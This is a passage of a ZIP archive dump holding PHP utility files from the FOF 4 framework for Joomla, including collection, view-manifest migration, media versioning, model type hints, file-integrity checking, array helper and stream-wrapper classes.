serializable. * * @return array */ #[\ReturnTypeWillChange] public function jsonSerialize(): array { return $this->toArray(); } /** * Get the collection of items as JSON. * * @param int $options * * @return string */ public function toJson(int $options = 0): string { return json_encode($this->toArray(), $options); } /** * Get an iterator for the items. * * @return ArrayIterator */ public function getIterator(): ArrayIterator { return new ArrayIterator($this->items); } /** * Get a CachingIterator instance. * * @param integer $flags Caching iterator flags * * @return \CachingIterator */ public function getCachingIterator(int $flags = CachingIterator::CALL_TOSTRING): CachingIterator { return new \CachingIterator($this->getIterator(), $flags); } /** * Count the number of items in the collection. * * @return int */ public function count(): int { return count($this->items); } /** * Determine if an item exists at an offset. * * @param mixed $key * * @return bool */ public function offsetExists($key): bool { return array_key_exists($key, $this->items); } /** * Get an item at a given offset. * * @param mixed $key * * @return mixed */ #[\ReturnTypeWillChange] public function offsetGet($key) { return $this->items[$key]; } /** * Set the item at a given offset. * * @param mixed $key * @param mixed $value * * @return void */ #[\ReturnTypeWillChange] public function offsetSet($key, $value) { if (is_null($key)) { $this->items[] = $value; } else { $this->items[$key] = $value; } } /** * Unset the item at a given offset. * * @param string $key * * @return void */ #[\ReturnTypeWillChange] public function offsetUnset($key) { unset($this->items[$key]); } /** * Convert the collection to its string representation. * * @return string */ public function __toString(): string { return $this->toJson(); } /** * Get a value retrieving callback. * * @param string $value * * @return \Closure */ protected function valueRetriever(string $value): callable { return function ($item) use ($value) { return is_object($item) ? $item->{$value} : array_get($item, $value); }; } /** * Results array of items from Collection. * * @param Collection|array $items * * @return array */ private function getIterableItemsAsArray($items): array { if ($items instanceof Collection) { $items = $items->all(); } elseif (is_object($items) && method_exists($items, 'toArray')) { $items = $items->toArray(); } return $items; } } PK���\�o<oo%fof40/Utils/ViewManifestMigration.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Utils; use FOF40\Container\Container; use Joomla\CMS\Filesystem\File; use Joomla\Filesystem\Folder; class ViewManifestMigration { /** * Migrates Joomla 4 view XML manifests into their Joomla 3 locations * * @param Container $container The FOF 4 container of the component we'll be migrating. * * @return void */ public static function migrateJoomla4MenuXMLFiles(Container $container): void { self::migrateJoomla4MenuXMLFiles_real($container->frontEndPath, $container->backEndPath); } /** * Migrates Joomla 4 view XML manifests into their Joomla 3 locations * * @param string $frontendPath Component's frontend path * @param string $backendPath Component's backend path * * @return void * @noinspection PhpUnused */ public static function migrateJoomla4MenuXMLFiles_real($frontendPath, $backendPath): void { // This only applies to Joomla 3 if (version_compare(JVERSION, '3.999.999', 'gt')) { return; } // Map modern to legacy locations $maps = [ $frontendPath . '/tmpl' => $frontendPath . '/views', $frontendPath . '/ViewTemplates' => $frontendPath . '/views', $backendPath . '/tmpl' => $backendPath . '/views', $backendPath . '/ViewTemplates' => $backendPath . '/views', ]; foreach ($maps as $source => $dest) { try { self::migrateViewXMLManifests($source, $dest); } catch (\UnexpectedValueException $e) { // This means the source folder doesn't exist. No problem! } } } /** * Removes the legacy `views` paths from the front- and backend of the component on Joomla 4 and later versions. * * @param Container $container * * @return void */ public static function removeJoomla3LegacyViews(Container $container): void { self::removeJoomla3LegacyViews_real($container->frontEndPath, $container->backEndPath); } /** * Removes the legacy `views` paths from the front- and backend of the component on Joomla 4 and later versions. * * @param string $frontendPath Component's frontend path * @param string $backendPath Component's backend path * * @return void * @noinspection PhpUnused */ public static function removeJoomla3LegacyViews_real($frontendPath, $backendPath): void { // This only applies to Joomla 4 if (version_compare(JVERSION, '3.999.999', 'le')) { return; } $legacyLocations = [ $frontendPath . '/views', $backendPath . '/views', ]; foreach ($legacyLocations as $path) { if (!is_dir($path)) { continue; } Folder::delete($path); } } /** * Migrates view manifest XML files from the source to the dest folder. * * @param string $source Source folder to scan, i.e. the `tmpl` or `ViewTemplates` folder. * @param string $dest Target folder to copy the files to, i.e. the legacy `views` folder. */ private static function migrateViewXMLManifests(string $source, string $dest): void { $di = new \DirectoryIterator($source); /** @var \DirectoryIterator $folderItem */ foreach ($di as $folderItem) { if ($folderItem->isDot() || !$folderItem->isDir()) { continue; } // Delete the metadata.xml and tmpl/*.xml files in the corresponding `views` subfolder $killLegacyFile = $dest . '/' . $folderItem->getFilename() . '/metadata.xml'; $killLegacyFolder = $dest . '/' . $folderItem->getFilename() . '/tmpl'; if (!@is_file($killLegacyFile)) { File::delete($killLegacyFile); } if (@file_exists($killLegacyFolder) && @is_dir($killLegacyFolder)) { $files = Folder::files($killLegacyFolder, '\.xml$', false, true); if (!empty($files)) { File::delete($files); } } $filesIterator = new \DirectoryIterator($folderItem->getPathname()); /** @var \DirectoryIterator $fileItem */ foreach ($filesIterator as $fileItem) { if ($fileItem->isDir()) { continue; } if ($fileItem->getExtension() != 'xml') { continue; } $destPath = $dest . '/' . $folderItem->getFilename() . (($fileItem->getFilename() == 'metadata.xml') ? '' : '/tmpl'); $destPathName = $destPath . '/' . $fileItem->getFilename(); Folder::create($destPath); File::copy($fileItem->getPathname(), $destPathName); } } } }PK���\�]T�mmfof40/Utils/MediaVersion.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Utils; defined('_JEXEC') || die; use Exception; use FOF40\Container\Container; use JDatabaseDriver; use Joomla\CMS\Factory; use Joomla\Registry\Registry; /** * Class MediaVersion * * @since 3.5.3 */ class MediaVersion { /** * Cached the version and date of FOF-powered components * * @var array * @since 3.5.3 */ protected static $componentVersionCache = []; /** * @var string|mixed */ public $componentName; /** * The current component's container * * @var Container * @since 3.5.3 */ protected $container; /** * The configured media query version * * @var string|null; * @since 3.5.3 */ protected $mediaVersion; /** * MediaVersion constructor. * * @param Container $c The component container * * @since 3.5.3 */ public function __construct(Container $c) { $this->container = $c; } /** * Get a component's version and date * * @param string $component * @param JDatabaseDriver $db * * @return array * @since 3.5.3 */ protected static function getComponentVersionAndDate(string $component, JDatabaseDriver $db): array { if (array_key_exists($component, self::$componentVersionCache)) { return self::$componentVersionCache[$component]; } $version = '0.0.0'; $date = date('Y-m-d H:i:s'); try { $query = $db->getQuery(true) ->select([ $db->qn('manifest_cache'), ])->from($db->qn('#__extensions')) ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('name') . ' = ' . $db->q($component)); $db->setQuery($query); $json = $db->loadResult() ?? '{}'; $params = new Registry($json); $version = $params->get('version', $version); $date = $params->get('creationDate', $date); } catch (Exception $e) { } self::$componentVersionCache[$component] = [$version, $date]; return self::$componentVersionCache[$component]; } /** * Serialization helper * * This is for the benefit of legacy components which might use Joomla's JS/CSS inclusion directly passing * $container->mediaVersion as the version argument. In FOF 3.5.2 and lower that was always string or null, making * it a safe bet. In FOF 3.5.3 and later it's an object. It's not converted to a string until Joomla builds its * template header. However, Joomla's cache system will try to serialize all CSS and JS definitions, including their * parameters of which version is one. Therefore, for those legacy applications, Joomla would be trying to serialize * the MediaVersion object which would try to serialize the container. That would cause an immediate failure since * we protect the Container from being serialized. * * Our Template service knows about this and stringifies the MediaVersion before passing it to Joomla. Legacy apps * may not do that. Using the __sleep and __wakeup methods in this class we make sure that we are essentially * storing nothing but strings in the serialized representation and we reconstruct the container upon * unseralization. That said, it's a good idea to use the Template service instead of $container->mediaVersion * directly or, at the very least, use (string) $container->mediaVersion when using the Template service is not a * viable option. * * @return string[] */ public function __sleep(): array { $this->componentName = $this->container->componentName; return [ 'mediaVersion', 'componentName', ]; } /** * Unserialization helper * * @return void * @see __sleep */ public function __wakeup(): void { if (isset($this->componentName)) { $this->container = Container::getInstance($this->componentName); } } /** * Returns the media query version string * * @return string * @since 3.5.3 */ public function __toString(): string { if (empty($this->mediaVersion)) { $this->mediaVersion = $this->getDefaultMediaVersion(); } return $this->mediaVersion; } /** * Sets the media query version string * * @param string|null $mediaVersion * * @since 3.5.3 */ public function setMediaVersion(?string $mediaVersion): void { $this->mediaVersion = $mediaVersion; } /** * Returns the default media query version string if none is already defined * * @return string * @since 3.5.3 */ protected function getDefaultMediaVersion(): string { // Initialise [$version, $date] = self::getComponentVersionAndDate($this->container->componentName, $this->container->db); // Get the site's secret try { $app = Factory::getApplication(); if (method_exists($app, 'get')) { $secret = $app->get('secret'); } } catch (Exception $e) { } // Generate the version string return md5($version . $date . $secret); } }PK���\� ^���fof40/Utils/ModelTypeHints.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Utils; defined('_JEXEC') || die; use FOF40\Model\DataModel; /** * Generate phpDoc type hints for the magic properties and methods of your DataModels. * * Usage: * $typeHinter = new ModelTypeHints($instanceOfYourFOFDataModel); * var_dump($typeHinter->getHints()); * * This will dump the type hints you should add to the DocBlock of your DataModel class to allow IDEs such as phpStorm * to provide smart type hinting for magic property and method access. * * @package FOF40\Utils */ class ModelTypeHints { /** * The model for which to create type hints * * @var DataModel */ protected $model; /** * Name of the class. If empty will be inferred from the current object * * @var string */ protected $className; /** * Public constructor * * @param \FOF40\Model\DataModel $model The model to create hints for */ public function __construct(DataModel $model) { $this->model = $model; $this->className = get_class($model); } /** * Translates the database field type into a PHP base type * * @param string $type The type of the field * * @return string The PHP base type */ public static function getFieldType(string $type): string { // Remove parentheses, indicating field options / size (they don't matter in type detection) if (!empty($type)) { [$type,] = explode('(', $type); } $detectedType = null; switch (trim($type)) { case 'varchar': case 'text': case 'smalltext': case 'longtext': case 'char': case 'mediumtext': case 'character varying': case 'nvarchar': case 'nchar': $detectedType = 'string'; break; case 'date': case 'datetime': case 'time': case 'year': case 'timestamp': case 'timestamp without time zone': case 'timestamp with time zone': $detectedType = 'string'; break; case 'tinyint': case 'smallint': $detectedType = 'bool'; break; case 'float': case 'currency': case 'single': case 'double': $detectedType = 'float'; break; } // Sometimes we have character types followed by a space and some cruft. Let's handle them. if (is_null($detectedType) && !empty($type)) { [$type,] = explode(' ', $type); switch (trim($type)) { case 'varchar': case 'text': case 'smalltext': case 'longtext': case 'char': case 'mediumtext': case 'nvarchar': case 'nchar': $detectedType = 'string'; break; case 'date': case 'datetime': case 'time': case 'year': case 'timestamp': case 'enum': $detectedType = 'string'; break; case 'tinyint': case 'smallint': $detectedType = 'bool'; break; case 'float': case 'currency': case 'single': case 'double': $detectedType = 'float'; break; default: $detectedType = 'int'; break; } } // If all else fails assume it's an int and hope for the best if (empty($detectedType)) { $detectedType = 'int'; } return $detectedType; } /** * @param string $className */ public function setClassName(string $className): void { $this->className = $className; } /** * Return the raw hints array * * @return array * * @throws \FOF40\Model\DataModel\Relation\Exception\RelationNotFound */ public function getRawHints(): array { $model = $this->model; $hints = [ 'property' => [], 'method' => [], 'property-read' => [], ]; $hasFilters = $model->getBehavioursDispatcher()->hasObserverClass('FOF40\Model\DataModel\Behaviour\Filters'); $magicFields = [ 'enabled', 'ordering', 'created_on', 'created_by', 'modified_on', 'modified_by', 'locked_on', 'locked_by', ]; foreach ($model->getTableFields() as $fieldName => $fieldMeta) { $fieldType = static::getFieldType($fieldMeta->Type); if (!in_array($fieldName, $magicFields)) { $hints['property'][] = [$fieldType, '$' . $fieldName]; } if ($hasFilters) { $hints['method'][] = [ '$this', $fieldName . '()', $fieldName . '(' . $fieldType . ' $v)', ]; } } $relations = $model->getRelations()->getRelationNames(); $modelType = get_class($model); $modelTypeParts = explode('\\', $modelType); array_pop($modelTypeParts); $modelType = implode('\\', $modelTypeParts) . '\\'; if ($relations !== []) { foreach ($relations as $relationName) { $relationObject = $model->getRelations()->getRelation($relationName)->getForeignModel(); $relationType = get_class($relationObject); $relationType = str_replace($modelType, '', $relationType); $hints['property-read'][] = [ $relationType, '$' . $relationName, ]; } } return $hints; } /** * Returns the docblock with the magic field hints for the model class * * @return string */ public function getHints(): string { $modelName = $this->className; $text = "/**\n * Model $modelName\n *\n"; $hints = $this->getRawHints(); if (!empty($hints['property'])) { $text .= " * Fields:\n *\n"; $colWidth = 0; foreach ($hints['property'] as $hintLine) { $colWidth = max($colWidth, strlen($hintLine[0])); } $colWidth += 2; foreach ($hints['property'] as $hintLine) { $text .= " * @property " . str_pad($hintLine[0], $colWidth, ' ') . $hintLine[1] . "\n"; } $text .= " *\n"; } if (!empty($hints['method'])) { $text .= " * Filters:\n *\n"; $colWidth = 0; $col2Width = 0; foreach ($hints['method'] as $hintLine) { $colWidth = max($colWidth, strlen($hintLine[0])); $col2Width = max($col2Width, strlen($hintLine[1])); } $colWidth += 2; $col2Width += 2; foreach ($hints['method'] as $hintLine) { $text .= " * @method " . str_pad($hintLine[0], $colWidth, ' ') . str_pad($hintLine[1], $col2Width, ' ') . $hintLine[2] . "\n"; } $text .= " *\n"; } if (!empty($hints['property-read'])) { $text .= " * Relations:\n *\n"; $colWidth = 0; foreach ($hints['property-read'] as $hintLine) { $colWidth = max($colWidth, strlen($hintLine[0])); } $colWidth += 2; foreach ($hints['property-read'] as $hintLine) { $text .= " * @property " . str_pad($hintLine[0], $colWidth, ' ') . $hintLine[1] . "\n"; } $text .= " *\n"; } return $text . "**/\n"; } } PK���\��cnQQfof40/Utils/FilesCheck.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Utils; defined('_JEXEC') || die; use FOF40\Timer\Timer; use Joomla\CMS\Factory as JoomlaFactory; /** * A utility class to check that your extension's files are not missing and have not been tampered with. * * You need a file called fileslist.php in your component's administrator root directory with the following contents: * * $phpFileChecker = array( * 'version' => 'revCEE2DAB', * 'date' => '2014-10-16', * 'directories' => array( * 'administrator/components/com_foobar', * .... * ), * 'files' => array( * 'administrator/components/com_foobar/access.xml' => array('705', '09aa0351a316bf011ecc8c1145134761', * 'b95f00c7b49a07a60570dc674f2497c45c4e7152'), * .... * ) * ); * * All directory and file paths are relative to the site's root * * The directories array is a list of directories which must exist. The files array has the file paths as keys. The * value is a simple array containing the following elements in this order: file size in bytes, MD5 checksum, SHA1 * checksum. */ class FilesCheck { /** @var string The name of the component */ protected $option = ''; /** @var string Current component version */ protected $version; /** @var string Current component release date */ protected $date; /** @var array List of files to check as filepath => (filesize, md5, sha1) */ protected $fileList = []; /** @var array List of directories to check that exist */ protected $dirList = []; /** @var bool Is the reported component version different than the version of the #__extensions table? */ protected $wrongComponentVersion = false; /** @var bool Is the fileslist.php reporting a version different than the reported component version? */ protected $wrongFilesVersion = false; /** * Create and initialise the object * * @param string $componentName Component name, e.g. com_foobar * @param string $version The current component version, as reported by the component * @param string $date The current component release date, as reported by the component */ public function __construct(string $componentName, string $version, string $date) { // Initialise from parameters $this->option = $componentName; $this->version = $version; $this->date = $date; // Retrieve the date and version from the #__extensions table $db = JoomlaFactory::getDbo(); $query = $db->getQuery(true)->select('*')->from($db->qn('#__extensions')) ->where($db->qn('element') . ' = ' . $db->q($this->option)) ->where($db->qn('type') . ' = ' . $db->q('component')); $extension = $db->setQuery($query)->loadObject(); // Check the version and date against those from #__extensions. I hate heavily nested IFs as much as the next // guy, but what can you do... if (!is_null($extension)) { $manifestCache = $extension->manifest_cache; if (!empty($manifestCache)) { $manifestCache = json_decode($manifestCache, true); if (is_array($manifestCache) && isset($manifestCache['creationDate']) && isset($manifestCache['version'])) { // Make sure the fileslist.php version and date match the component's version if ($this->version != $manifestCache['version']) { $this->wrongComponentVersion = true; } if ($this->date != $manifestCache['creationDate']) { $this->wrongComponentVersion = true; } } } } // Try to load the fileslist.php file from the component's back-end root $filePath = JPATH_ADMINISTRATOR . '/components/' . $this->option . '/fileslist.php'; if (!file_exists($filePath)) { return; } $couldInclude = @include($filePath); // If we couldn't include the file with the array OR if it didn't define the array we have to quit. if (!$couldInclude || !isset($phpFileChecker)) { return; } // Make sure the fileslist.php version and date match the component's version if ($this->version != $phpFileChecker['version']) { $this->wrongFilesVersion = true; } if ($this->date != $phpFileChecker['date']) { $this->wrongFilesVersion = true; } // Initialise the files and directories lists $this->fileList = $phpFileChecker['files']; $this->dirList = $phpFileChecker['directories']; } /** * Is the reported component version different than the version of the #__extensions table? * * @return boolean */ public function isWrongComponentVersion(): bool { return $this->wrongComponentVersion; } /** * Is the fileslist.php reporting a version different than the reported component version? * * @return boolean */ public function isWrongFilesVersion(): bool { return $this->wrongFilesVersion; } /** * Performs a fast check of file and folders. If even one of the files/folders doesn't exist, or even one file has * the wrong file size it will return false. * * @return bool False when there are mismatched files and directories */ public function fastCheck(): bool { // Check that all directories exist foreach ($this->dirList as $directory) { $directory = JPATH_ROOT . '/' . $directory; if (!@is_dir($directory)) { return false; } } // Check that all files exist and have the right size foreach ($this->fileList as $filePath => $fileData) { $filePath = JPATH_ROOT . '/' . $filePath; if (!@file_exists($filePath)) { return false; } $fileSize = @filesize($filePath); if ($fileSize != $fileData[0]) { return false; } } return true; } /** * Performs a slow, thorough check of all files and folders (including MD5/SHA1 sum checks) * * @param int $idx The index from where to start * * @return array Progress report */ public function slowCheck(int $idx = 0): array { $ret = [ 'done' => false, 'files' => [], 'folders' => [], 'idx' => $idx, ]; $totalFiles = count($this->fileList); $totalFolders = count($this->dirList); $fileKeys = array_keys($this->fileList); $timer = new Timer(3.0, 75.0); while ($timer->getTimeLeft() && (($idx < $totalFiles) || ($idx < $totalFolders))) { if ($idx < $totalFolders) { $directory = JPATH_ROOT . '/' . $this->dirList[$idx]; if (!@is_dir($directory)) { $ret['folders'][] = $directory; } } if ($idx < $totalFiles) { $fileKey = $fileKeys[$idx]; $filePath = JPATH_ROOT . '/' . $fileKey; $fileData = $this->fileList[$fileKey]; if (!@file_exists($filePath)) { $ret['files'][] = $fileKey . ' (missing)'; } elseif (@filesize($filePath) != $fileData[0]) { $ret['files'][] = $fileKey . ' (size ' . @filesize($filePath) . ' ≠ ' . $fileData[0] . ')'; } elseif (function_exists('sha1_file')) { $fileSha1 = @sha1_file($filePath); if ($fileSha1 != $fileData[2]) { $ret['files'][] = $fileKey . ' (SHA1 ' . $fileSha1 . ' ≠ ' . $fileData[2] . ')'; } } elseif (function_exists('md5_file')) { $fileMd5 = @md5_file($filePath); if ($fileMd5 != $fileData[1]) { $ret['files'][] = $fileKey . ' (MD5 ' . $fileMd5 . ' ≠ ' . $fileData[1] . ')'; } } } $idx++; } if (($idx >= $totalFiles) && ($idx >= $totalFolders)) { $ret['done'] = true; } $ret['idx'] = $idx; return $ret; } } PK���\v���--fof40/Utils/helpers.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ /** * This is a modified copy of Laravel 4's "helpers.php" * * Laravel 4 is distributed under the MIT license, see https://github.com/laravel/framework/blob/master/LICENSE.txt */ defined('_JEXEC') || die; if (!function_exists('array_add')) { /** * Add an element to an array if it doesn't exist. * * @param array $array * @param string $key * @param mixed $value * * @return array */ function array_add(array $array, string $key, $value): array { if (!isset($array[$key])) { $array[$key] = $value; } return $array; } } if (!function_exists('array_build')) { /** * Build a new array using a callback. * * @param array $array * @param \Closure $callback * * @return array */ function array_build(array $array, Closure $callback): array { $results = []; foreach ($array as $key => $value) { [$innerKey, $innerValue] = call_user_func($callback, $key, $value); $results[$innerKey] = $innerValue; } return $results; } } if (!function_exists('array_divide')) { /** * Divide an array into two arrays. One with keys and the other with values. * * @param array $array * * @return array */ function array_divide(array $array) { return [array_keys($array), array_values($array)]; } } if (!function_exists('array_dot')) { /** * Flatten a multi-dimensional associative array with dots. * * @param array $array * @param string $prepend * * @return array */ function array_dot(array $array, string $prepend = ''): array { $results = []; foreach ($array as $key => $value) { if (is_array($value)) { $results = array_merge($results, array_dot($value, $prepend . $key . '.')); } else { $results[$prepend . $key] = $value; } } return $results; } } if (!function_exists('array_except')) { /** * Get all of the given array except for a specified array of items. * * @param array $array * @param array $keys * * @return array */ function array_except(array $array, array $keys): array { return array_diff_key($array, array_flip((array) $keys)); } } if (!function_exists('array_fetch')) { /** * Fetch a flattened array of a nested array element. * * @param array $array * @param string $key * * @return array */ function array_fetch(array $array, string $key): array { foreach (explode('.', $key) as $segment) { $results = []; foreach ($array as $value) { $value = (array) $value; $results[] = $value[$segment]; } $array = array_values($results); } return array_values($results); } } if (!function_exists('array_first')) { /** * Return the first element in an array passing a given truth test. * * @param array $array * @param Closure $callback * @param mixed $default * * @return mixed */ function array_first(array $array, callable $callback, $default = null) { foreach ($array as $key => $value) { if (call_user_func($callback, $key, $value)) { return $value; } } return value($default); } } if (!function_exists('array_last')) { /** * Return the last element in an array passing a given truth test. * * @param array $array * @param Closure $callback * @param mixed $default * * @return mixed */ function array_last(array $array, callable $callback, $default = null) { return array_first(array_reverse($array), $callback, $default); } } if (!function_exists('array_flatten')) { /** * Flatten a multi-dimensional array into a single level. * * @param array $array * * @return array */ function array_flatten(array $array): array { $return = []; array_walk_recursive($array, function ($x) use (&$return) { $return[] = $x; }); return $return; } } if (!function_exists('array_forget')) { /** * Remove an array item from a given array using "dot" notation. * * @param array $array * @param string $key * * @return void */ function array_forget(array &$array, string $key): void { $keys = explode('.', $key); while (count($keys) > 1) { $key = array_shift($keys); if (!isset($array[$key]) || !is_array($array[$key])) { return; } $array =& $array[$key]; } unset($array[array_shift($keys)]); } } if (!function_exists('array_get')) { /** * Get an item from an array using "dot" notation. * * @param array $array * @param string $key * @param mixed $default * * @return mixed */ function array_get(array $array, string $key, $default = null) { if (is_null($key)) { return $array; } if (isset($array[$key])) { return $array[$key]; } foreach (explode('.', $key) as $segment) { if (!is_array($array) || !array_key_exists($segment, $array)) { return value($default); } $array = $array[$segment]; } return $array; } } if (!function_exists('array_only')) { /** * Get a subset of the items from the given array. * * @param array $array * @param array $keys * * @return array */ function array_only(array $array, array $keys): array { return array_intersect_key($array, array_flip((array) $keys)); } } if (!function_exists('array_pluck')) { /** * Pluck an array of values from an array. * * @param array $array * @param string $value * @param string $key * * @return array */ function array_pluck(array $array, string $value, ?string $key = null): array { $results = []; foreach ($array as $item) { $itemValue = is_object($item) ? $item->{$value} : $item[$value]; // If the key is "null", we will just append the value to the array and keep // looping. Otherwise we will key the array using the value of the key we // received from the developer. Then we'll return the final array form. if (is_null($key)) { $results[] = $itemValue; } else { $itemKey = is_object($item) ? $item->{$key} : $item[$key]; $results[$itemKey] = $itemValue; } } return $results; } } if (!function_exists('array_pull')) { /** * Get a value from the array, and remove it. * * @param array $array * @param string $key * * @return mixed */ function array_pull(array &$array, string $key) { $value = array_get($array, $key); array_forget($array, $key); return $value; } } if (!function_exists('array_set')) { /** * Set an array item to a given value using "dot" notation. * * If no key is given to the method, the entire array will be replaced. * * @param array $array * @param string $key * @param mixed $value * * @return array */ function array_set(array &$array, string $key, $value): array { if (is_null($key)) { return $array = $value; } $keys = explode('.', $key); while (count($keys) > 1) { $key = array_shift($keys); // If the key doesn't exist at this depth, we will just create an empty array // to hold the next value, allowing us to create the arrays to hold final // values at the correct depth. Then we'll keep digging into the array. if (!isset($array[$key]) || !is_array($array[$key])) { $array[$key] = []; } $array =& $array[$key]; } $array[array_shift($keys)] = $value; return $array; } } if (!function_exists('array_sort')) { /** * Sort the array using the given Closure. * * @param array $array * @param \Closure $callback * * @return array */ function array_sort(array $array, callable $callback): array { return FOF40\Utils\Collection::make($array)->sortBy($callback)->all(); } } if (!function_exists('array_where')) { /** * Filter the array using the given Closure. * * @param array $array * @param \Closure $callback * * @return array */ function array_where(array $array, callable $callback): array { $filtered = []; foreach ($array as $key => $value) { if (call_user_func($callback, $key, $value)) { $filtered[$key] = $value; } } return $filtered; } } if (!function_exists('ends_with')) { /** * Determine if a given string ends with a given substring. * * @param string $haystack * @param string|array $needles * * @return bool */ function ends_with(string $haystack, $needles): bool { foreach ((array) $needles as $needle) { if ((string) $needle === substr($haystack, -strlen($needle))) { return true; } } return false; } } if (!function_exists('last')) { /** * Get the last element from an array. * * @param array $array * * @return mixed */ function last(array $array) { return end($array); } } if (!function_exists('object_get')) { /** * Get an item from an object using "dot" notation. * * @param object $object * @param string $key * @param mixed $default * * @return mixed */ function object_get($object, string $key, $default = null) { if (is_null($key) || trim($key) == '') { return $object; } foreach (explode('.', $key) as $segment) { if (!is_object($object) || !isset($object->{$segment})) { return value($default); } $object = $object->{$segment}; } return $object; } } if (!function_exists('preg_replace_sub')) { /** * Replace a given pattern with each value in the array in sequentially. * * @param string $pattern * @param array $replacements * @param string $subject * * @return string */ function preg_replace_sub(string $pattern, array &$replacements, string $subject): string { return preg_replace_callback($pattern, function ($match) use (&$replacements) { return array_shift($replacements); }, $subject); } } if (!function_exists('starts_with')) { /** * Determine if a given string starts with a given substring. * * @param string $haystack * @param string|array $needles * * @return bool */ function starts_with(string $haystack, $needles): bool { foreach ((array) $needles as $needle) { if ($needle != '' && strpos($haystack, $needle) === 0) { return true; } } return false; } } if (!function_exists('value')) { /** * Return the default value of the given value. * * @param mixed $value * * @return mixed */ function value($value) { return $value instanceof Closure ? $value() : $value; } } if (!function_exists('with')) { /** * Return the given object. Useful for chaining. * * @param mixed $object * * @return mixed */ function with($object) { return $object; } } if (!function_exists('fofStringToBool')) { /** * Convert a string to a boolean. It understands the following human-readable boolean notations 0, 1, true, false, * yes, no, on, off, enabled, disabled. If the value is anything else it will delegate it to PHP's `(bool)` type * casting operator. * * @param string $string The string with the human-readable boolean value. * * @return boolean The converted string */ function fofStringToBool(string $string): bool { $string = trim((string) $string); $string = strtolower($string); if (in_array($string, ['1', 'true', 'yes', 'on', 'enabled'], true)) { return true; } if (in_array($string, ['0', 'false', 'no', 'off', 'disabled'], true)) { return false; } return (bool) $string; } } PK���\` A�fof40/Utils/Buffer.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Utils; defined('_JEXEC') || die; /** * Registers a fof:// stream wrapper */ class Buffer { /** * Buffer hash * * @var array */ public static $buffers = []; public static $canRegisterWrapper; /** * Stream position * * @var integer */ public $position = 0; /** * Buffer name * * @var string */ public $name; /** * Should I register the fof:// stream wrapper * * @return bool True if the stream wrapper can be registered */ public static function canRegisterWrapper(): bool { if (is_null(static::$canRegisterWrapper)) { static::$canRegisterWrapper = false; // Maybe the host has disabled registering stream wrappers altogether? if (!function_exists('stream_wrapper_register')) { return false; } // Check for Suhosin if (function_exists('extension_loaded')) { $hasSuhosin = extension_loaded('suhosin'); } else { $hasSuhosin = -1; // Can't detect } if ($hasSuhosin !== true) { $hasSuhosin = defined('SUHOSIN_PATCH') ? true : -1; } if (($hasSuhosin === -1) && function_exists('ini_get')) { $hasSuhosin = false; $maxIdLength = ini_get('suhosin.session.max_id_length'); if ($maxIdLength !== false) { $hasSuhosin = ini_get('suhosin.session.max_id_length') !== ''; } } // If we can't detect whether Suhosin is installed we won't proceed to prevent a White Screen of Death if ($hasSuhosin === -1) { return false; } // If Suhosin is installed but ini_get is not available we won't proceed to prevent a WSoD if ($hasSuhosin && !function_exists('ini_get')) { return false; } // If Suhosin is installed check if fof:// is whitelisted if ($hasSuhosin) { $whiteList = ini_get('suhosin.executor.include.whitelist'); // Nothing in the whitelist? I can't go on, sorry. if (empty($whiteList)) { return false; } $whiteList = explode(',', $whiteList); $whiteList = array_map(function ($x) { return trim($x); }, $whiteList); if (!in_array('fof://', $whiteList)) { return false; } } static::$canRegisterWrapper = true; } return static::$canRegisterWrapper; } /** * Function to open file or url * * @param string $path The URL that was passed * @param string $mode Mode used to open the file @see fopen * @param integer $options Flags used by the API, may be STREAM_USE_PATH and * STREAM_REPORT_ERRORS * @param string &$opened_path Full path of the resource. Used with STREAM_USE_PATH option * * @return boolean * * @see streamWrapper::stream_open */ public function stream_open(string $path, string $mode, ?int $options, ?string &$opened_path): bool { $url = parse_url($path); $this->name = $url['host'] . $url['path']; $this->position = 0; if (!isset(static::$buffers[$this->name])) { static::$buffers[$this->name] = null; } return true; } public function unlink(string $path): void { $url = parse_url($path); $name = $url['host']; if (isset(static::$buffers[$name])) { unset (static::$buffers[$name]); } } public function stream_stat(): array { return [ 'dev' => 0, 'ino' => 0, 'mode' => 0644, 'nlink' => 0, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => strlen(static::$buffers[$this->name]), 'atime' => 0, 'mtime' => 0, 'ctime' => 0, 'blksize' => -1, 'blocks' => -1, ]; } /** * Read stream * * @param integer $count How many bytes of data from the current position should be returned. * * @return mixed The data from the stream up to the specified number of bytes (all data if * the total number of bytes in the stream is less than $count. Null if * the stream is empty. * * @see streamWrapper::stream_read * @since 11.1 */ public function stream_read(int $count): ?string { $ret = substr(static::$buffers[$this->name], $this->position, $count); $this->position += strlen($ret); return $ret; } /** * Write stream * * @param string $data The data to write to the stream. * * @return integer * * @see streamWrapper::stream_write * @since 11.1 */ public function stream_write(string $data): int { $left = substr(static::$buffers[$this->name], 0, $this->position); $right = substr(static::$buffers[$this->name], $this->position + strlen($data)); static::$buffers[$this->name] = $left . $data . $right; $this->position += strlen($data); return strlen($data); } /** * Function to get the current position of the stream * * @return integer * * @see streamWrapper::stream_tell * @since 11.1 */ public function stream_tell(): int { return $this->position; } /** * Function to test for end of file pointer * * @return boolean True if the pointer is at the end of the stream * * @see streamWrapper::stream_eof * @since 11.1 */ public function stream_eof(): bool { return $this->position >= strlen(static::$buffers[$this->name]); } /** * The read write position updates in response to $offset and $whence * * @param integer $offset The offset in bytes * @param integer $whence Position the offset is added to * Options are SEEK_SET, SEEK_CUR, and SEEK_END * * @return boolean True if updated * * @see streamWrapper::stream_seek * @since 11.1 */ public function stream_seek(int $offset, int $whence): bool { switch ($whence) { case SEEK_SET: if 